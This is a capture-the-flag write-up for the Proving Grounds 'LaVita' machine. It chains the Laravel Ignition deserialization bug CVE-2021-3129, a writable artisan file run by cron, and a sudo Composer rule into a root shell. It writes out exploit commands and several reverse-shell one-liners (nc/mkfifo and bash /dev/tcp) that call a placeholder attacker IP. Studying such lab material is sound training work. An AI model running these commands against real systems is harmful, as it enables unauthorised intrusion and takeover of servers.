Skip to content

LaVita Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

LaVita runs Laravel 8.4.0 with open registration. Enabling debug mode from the authenticated dashboard exposes CVE-2021-3129, a log-poisoning deserialization bug in Laravel Ignition that gives a shell as www-data. A writable artisan file executed by a cron job moves that into a shell as skunk, and a scoped sudo rule for Composer finishes the job as root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2
80/tcp open  http    Apache 2.4.56 (Debian)
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.

The site is "LAVITA E BELLA", a Laravel app. Its team page lists a Johnny Skunk, which maps to a skunk system user later on.

Directory discovery

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt
/login                (Status: 200)
/register             (Status: 200)
/home                 (Status: 302) -> /login
Explain command
-w Wordlist to brute force with.

Registration is open. Browsing a non-existent path also returns a 404 page that reveals the exact version: Laravel 8.4.0.

Enumeration

Register an account and log in. The authenticated /home dashboard has an Enable button for APP_DEBUG, currently off. An upload feature on the same page renames files and blocks PHP, a dead end. Enabling debug mode is the required step for CVE-2021-3129.

Exploitation

Laravel Ignition RCE (CVE-2021-3129)

With debug mode on, Laravel 8.4.0's Ignition error handler is reachable at /_ignition/execute-solution. The public exploit poisons the Laravel log file with a PHAR payload and triggers deserialization through that endpoint.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/nth347/CVE-2021-3129_exploit.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3129_exploit
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://$TARGET_IP Monolog/RCE1 whoami
[+] Logs cleared
[+] PHAR deserialized. Exploited
www-data

Command execution confirmed. Start a listener and send a reverse shell through the same exploit.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://$TARGET_IP Monolog/RCE1 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f"

The listener catches a shell as www-data.

Privilege Escalation

www-data to skunk via a writable artisan cron job

Laravel's artisan entry point is owned by www-data but still writable.

┌──(kali㉿kali)-[~]
└─$ ls -la /var/www/html/lavita/artisan
-rwxr-xr-x 1 www-data www-data 1686 Nov 10  2020 /var/www/html/lavita/artisan

skunk has a cron job that periodically executes this file directly, not through php artisan, so the replacement has to be a shell script rather than PHP. Back up the original and drop in a reverse shell.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
┌──(kali㉿kali)-[~]
└─$ cd /var/www/html/lavita
┌──(kali㉿kali)-[~]
└─$ cp artisan artisan.bak
┌──(kali㉿kali)-[~]
└─$ chmod +x artisan

Within a minute the cron fires and the listener catches a shell as skunk.

┌──(kali㉿kali)-[~]
└─$ id
┌──(kali㉿kali)-[~]
└─$ sudo -l
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
(root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *

skunk can run Composer as root, scoped to the app's working directory. GTFOBins lists a run-script trick for this: write a composer.json with a malicious script and let sudo run it.

Composer GTFOBins to root

From the www-data shell, back up and overwrite the app's composer.json.

{"scripts":{"x":"bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/9999 0>&1'"}}
┌──(kali㉿kali)-[~]
└─$ cp composer.json composer.json.bak

Start a listener, then run the script as root from the skunk shell.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
root@lavita:~# id
uid=0(root) gid=0(root) groups=0(root)

Root shell received through the listener. A direct /bin/sh -i 0<&3 1>&3 2>&3 script also drops to a root prompt but is less stable than catching a fresh reverse shell.

References